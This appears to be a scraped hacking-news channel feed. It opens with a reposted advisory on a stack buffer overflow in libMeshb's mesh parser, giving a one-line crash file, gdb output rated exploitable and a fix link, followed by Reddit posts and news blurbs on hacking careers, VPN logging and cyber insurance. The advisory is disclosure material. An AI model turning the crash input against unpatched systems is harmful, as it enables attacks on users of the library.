Hacking Articles Tips Tricks Videos Tutorials

=====
Intro
=====

libMeshb is a library which supports moving between data types for the Gamma Mesh Format. A buffer overflow was found when parsing the MESH format and specially crafted .mesh files could allow for arbitrary code execution.

=====
Repro
=====

No magic bytes or valid header necessary as the bug appears to be an unbounded fscanf() processing mesh headers.

echo -ne `perl -e 'print "B" x 2176'` > test.mesh

========
Debugger
========

(gdb) r test.mesh /tmp/empty.mesh
Starting program: mesh2poly test.mesh /tmp/empty.mesh

*** stack smashing detected ***: terminated

Program received signal SIGABRT, Aborted.
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50

(gdb) bt
#0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
#1  0x00007ffff7ddb859 in __GI_abort () at abort.c:79
#2  0x00007ffff7e463ee in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7f7007c "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:155
#3  0x00007ffff7ee8b4a in __GI___fortify_fail (msg=msg@entry=0x7ffff7f70064 "stack smashing detected") at fortify_fail.c:26
#4  0x00007ffff7ee8b16 in __stack_chk_fail () at stack_chk_fail.c:24
#5  0x000055555555b5d2 in GmfOpenMesh ()
#6  0x4242424242424242 in ?? ()
#7  0x0000000000000000 in ?? ()

(gdb) exploitable
Description: Stack buffer overflow
Short description: StackBufferOverflow (6/22)
Hash: ea307ff89c1110d6e6c6f565bfc6a9ce.350b4f5ab2938b2eb4fa0a598f3508e1
Exploitability Classification: EXPLOITABLE
Explanation: The target stopped while handling a signal that was generated by libc due to detection of a stack buffer overflow. Stack buffer overflows are generally considered exploitable.
Other tags: PossibleStackCorruption (7/22), AbortSignal (20/22)

This also affects the python wrapper library pymeshb.

>>> import pymeshb
>>> pymeshb.read('test.mesh')
*** stack smashing detected ***: terminated
Aborted (core dumped)

===
Fix
===

libMeshb v7.62

- https://github.com/LoicMarechal/libMeshb/commit/8cd68c54e0647c0030ae4506a225ad4a2655c316

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

libMeshb Buffer Overflow

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

8 viewsedited 20:04

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
How useful are code practice websites like hackerrank and codewars when it come to hacking?

How much would sharpening my coding skill be useful in relation to my goal of learning and being good at hacking?

submitted by /u/multioutletplug
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

How useful are code practice websites like hackerrank and codewars...

How much would sharpening my coding skill be useful in relation to my goal of learning and being good at hacking?

6 viewsedited 20:04

Hacking Articles Tips Tricks Videos Tutorials

5 views20:04

Hacking Articles Tips Tricks Videos Tutorials

Photo

hacking: security in practice
Indian govt. makes it compulsory for vpn companies to keep logs

https://external-preview.redd.it/Ui1kujB0tx_juSzGYZnUv6KzJZpaG0-4QjLpq5Yjkz4.jpg?width=640&crop=smart&auto=webp&s=b8fc374693c8a1107cec0c18b02f950c75c39fcc submitted by /u/ShreeyanxRaina
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Indian govt. makes it compulsory for vpn companies to keep logs

Posted in r/hacking by u/ShreeyanxRaina • 0 points and 0 comments

6 viewsedited 20:04

Hacking Articles Tips Tricks Videos Tutorials

5 views20:04

Hacking Articles Tips Tricks Videos Tutorials

Photo

hacking: security in practice
Mass account takeover in Yunmai smartscale (REST APIs hacking)

https://external-preview.redd.it/PP761LB8KHQo30_YmpntLxbpVdIoxzJ3t8jqq2_Tok4.jpg?width=640&crop=smart&auto=webp&s=7cb21013cf61454a4793f8adb5e254fd8d28c69d submitted by /u/adrian_rt
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Mass account takeover in Yunmai smartscale (REST APIs hacking)

Posted in r/hacking by u/adrian_rt • 1 point and 0 comments

6 viewsedited 20:04

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
Over The Wire vs Ethical Hacking Course

Yeah exactly that is what I am asking.

A course of ethical hacking or Over the Wire.

"Pick a line, stick to it" -McQueen

That's all I want to do but picking a line is difficult.

I personally think getting a 20$ course on Udemy and then EXPLORING on the tools and frameworks mentioned would be better.

And I am also interested in learning Malware Development, Reverse engineering after learning tools and frameworks

I want to pursue a career in Ethical Hacking. Which approach is better for long term?

Every single piece of advice is welcome.

BTW OTW CTF are Fun.

submitted by /u/Blaack_Work
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Over The Wire vs Ethical Hacking Course

Yeah exactly that is what I am asking. A course of ethical hacking or Over the Wire. >"Pick a line, stick to it" -McQueen That's all I want to...

8 viewsedited 20:04

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
Turbulent Cyber Insurance Market Sees Rising Prices and Sinking Coverage

As insurers and brokers reckon with unexpected losses, they're charging more for policies and setting higher requirements.

6 views21:52

Source

About

Blog

Apps

Platform